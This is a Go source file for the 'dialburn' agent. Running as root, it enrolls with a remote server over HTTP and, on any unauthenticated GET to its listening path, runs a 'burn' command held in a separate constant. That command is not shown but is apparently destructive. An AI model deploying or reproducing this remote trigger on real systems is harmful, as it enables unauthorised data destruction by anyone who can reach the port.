dialburn/agent/main.go

82 lines
1.7 KiB
Go
Raw Normal View History

2023-11-20 23:16:10 +00:00
package main
import (
"flag"
"net/http"
"os"
"os/exec"
"time"
"dialburn/common"
"github.com/gorilla/mux"
)
var (
server = flag.String("s", "", "server address")
testrun = flag.Bool("d", false, "dry run")
)
func burn() {
holla := exec.Command("/bin/bash", "-c", "echo '5hut 1t d0wn ch4rl13 br0wn' | wall; sleep 3")
var cmd *exec.Cmd
if *testrun {
cmd = exec.Command("/bin/bash", "-c", common.DRYRUN)
} else {
cmd = exec.Command("/bin/bash", "-c", common.BURNCMD)
}
_ = holla.Run()
_ = cmd.Run()
}
func main() {
common.Banner()
if os.Geteuid() != 0 {
common.Fatal("root privileges required")
}
flag.Usage = common.Usage
flag.Parse()
if *server == "" {
common.Fatal("server address required")
}
req, err := http.NewRequest(http.MethodPut, "http://"+*server+":"+common.SERVLPORT+common.SERVPATH+"/enroll", nil)
if err != nil {
common.Fatal("error creating server request")
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
common.Fatal("error sending enrollment request")
}
switch resp.StatusCode {
case http.StatusConflict:
common.Info("already enrolled with this server")
case http.StatusAccepted:
common.Success("successfully enrolled with dialburn server")
default:
common.Fatal("error enrolling with dialburn server")
}
r := mux.NewRouter()
r.HandleFunc(common.AGENTPATH, func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusAccepted)
burn()
}).Methods("GET")
http.Handle("/", r)
serv := &http.Server{
Addr: ":" + common.AGENTLPORT,
Handler: r,
ErrorLog: nil,
IdleTimeout: 10 * time.Second,
}
if err := serv.ListenAndServe(); err != nil {
common.Fatal("failed to start http server")
}
}